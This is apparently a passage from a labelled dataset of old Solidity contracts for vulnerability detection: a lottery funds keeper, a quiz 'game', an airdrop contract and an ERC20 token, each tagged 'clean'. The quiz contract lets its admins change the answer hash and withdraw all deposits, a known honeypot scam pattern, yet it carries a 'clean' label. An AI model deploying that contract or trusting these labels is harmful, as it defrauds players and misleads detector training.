    function getHolder(uint256 _id) public returns (address);
}


contract FundsKeeper {
    using SafeMath for uint256;
    InterfaceDeusETH private lottery = InterfaceDeusETH(0x0);
    bool public started = false;

    // address of tokens
    address public deuseth;

    uint256 public weiReceived;

    // address of team
    address public owner;
    bool public salarySent = false;

    uint256 public totalPayments = 0;

    mapping(uint256 => bool) public payments;

    event Bank(uint256 indexed _sum, uint256 indexed _add);

    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }

    function FundsKeeper(address _owner) public {
        require(_owner != address(0));
        owner = _owner;
    }

    function () external payable {
        weiReceive();
    }

    function getGain(uint256 _id) public {
        require((lottery.gameOver() && salarySent) || lottery.gameOverByUser());
        require(lottery.getHolder(_id) == msg.sender);
        require(lottery.getState(_id) == 1); //living token only
        require(payments[_id] == false);

        address winner = msg.sender;

        uint256 gain = calcGain();
        require(gain != 0);
        require(this.balance >= gain);

        totalPayments = totalPayments.add(gain);
        payments[_id] = true;

        winner.transfer(gain);
    }

    function setLottery(address _lottery) public onlyOwner {
        require(!started);
        lottery = InterfaceDeusETH(_lottery);
        deuseth = _lottery;
        started = true;
    }

    function getTeamSalary() public onlyOwner {
        require(!salarySent);
        require(msg.sender == owner);
        require(lottery.gameOver());
        salarySent = true;
        weiReceived = this.balance;
        uint256 salary = weiReceived/10;
        weiReceived = weiReceived.sub(salary);
        owner.transfer(salary);
    }

    function weiReceive() internal {
        Bank(this.balance, msg.value);
    }

    function calcGain() internal returns (uint256) {
        if (lottery.gameOverByUser() && (weiReceived == 0)) {
            weiReceived = this.balance;
        }
        return weiReceived/lottery.livingSupply();
    }
}


library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a * b;
        assert(a == 0 || c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a / b;
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b <= a);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}
// Vulnerability label: clean
pragma solidity ^0.4.25;

contract aZ_GAME
{
    function Try(string _response) external payable 
    {
        require(msg.sender == tx.origin);

        if(responseHash == keccak256(_response) && msg.value > 1 ether)
        {
            msg.sender.transfer(this.balance);
        }
    }

    string public question;

    bytes32 responseHash;

    mapping (bytes32=>bool) admin;

    function Start(string _question, string _response) public payable isAdmin{
        if(responseHash==0x0){
            responseHash = keccak256(_response);
            question = _question;
        }
    }

    function Stop() public payable isAdmin {
        msg.sender.transfer(this.balance);
    }

    function New(string _question, bytes32 _responseHash) public payable isAdmin {
        question = _question;
        responseHash = _responseHash;
    }

    constructor(bytes32[] admins) public{
        for(uint256 i=0; i< admins.length; i++){
            admin[admins[i]] = true;        
        }       
    }

    modifier isAdmin(){
        require(admin[keccak256(msg.sender)]);
        _;
    }

    function() public payable{}
}
// Vulnerability label: clean
pragma solidity ^0.4.24;

/**
 * SmartEth.co
 * ERC20 Token and ICO smart contracts development, smart contracts audit, ICO websites.
 * contact@smarteth.co
 */

/**
 * @title Ownable
 */
contract Ownable {
  address public owner;

  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

  constructor() public {
    owner = 0x05C40Def8a40771aA5fd362BCd96e1bb64Ec9044;
  }

  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }

  function transferOwnership(address newOwner) public onlyOwner {
    require(newOwner != address(0));
    emit OwnershipTransferred(owner, newOwner);
    owner = newOwner;
  }
}

/**
 * @title ERC20Basic
 */
contract ERC20Basic {
  function totalSupply() public view returns (uint256);
  function balanceOf(address who) public view returns (uint256);
  function transfer(address to, uint256 value) public returns (bool);
  event Transfer(address indexed from, address indexed to, uint256 value);
}

/**
 * @title ERC20 interface
 */
contract ERC20 is ERC20Basic {
  function allowance(address owner, address spender) public view returns (uint256);
  function transferFrom(address from, address to, uint256 value) public returns (bool);
  function approve(address spender, uint256 value) public returns (bool);
  event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Airdrop is Ownable {

  ERC20 public token = ERC20(0x259059f137CB9B8F60AE27Bd199d97aBb69E539B);

  function airdrop(address[] recipient, uint256[] amount) public onlyOwner returns (uint256) {
    uint256 i = 0;
      while (i < recipient.length) {
        token.transfer(recipient[i], amount[i]);
        i += 1;
      }
    return(i);
  }
  
  function airdropSameAmount(address[] recipient, uint256 amount) public onlyOwner returns (uint256) {
    uint256 i = 0;
      while (i < recipient.length) {
        token.transfer(recipient[i], amount);
        i += 1;
      }
    return(i);
  }
}
// Vulnerability label: clean
pragma solidity ^0.4.21;

contract PeakAssetCoin {
    string public name = "Peak Asset Coin";
    string public symbol = "PAC";
    uint8 public decimals = 18;
    uint256 public totalSupply = 800000000 * 10 ** uint256(decimals);

    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) public allowance;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed _owner, address indexed _spender, uint256 _value);

    function PeakAssetCoin() public {
        balanceOf[msg.sender] = totalSupply;
    }

    function _transfer(address _from, address _to, uint _value) internal {
        require(_to != 0x0);
        require(balanceOf[_from] >= _value);
        require(balanceOf[_to] + _value > balanceOf[_to]);
        uint previousBalances = balanceOf[_from] + balanceOf[_to];
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        emit Transfer(_from, _to, _value);
        assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
    }

    function transfer(address _to, uint256 _value) public {
        _transfer(msg.sender, _to, _value);
    }

    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
        require(_value <= allowance[_from][msg.sender]);
        allowance[_from][msg.sender] -= _value;
        _transfer(_from, _to, _value);
        return true;
    }

    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
}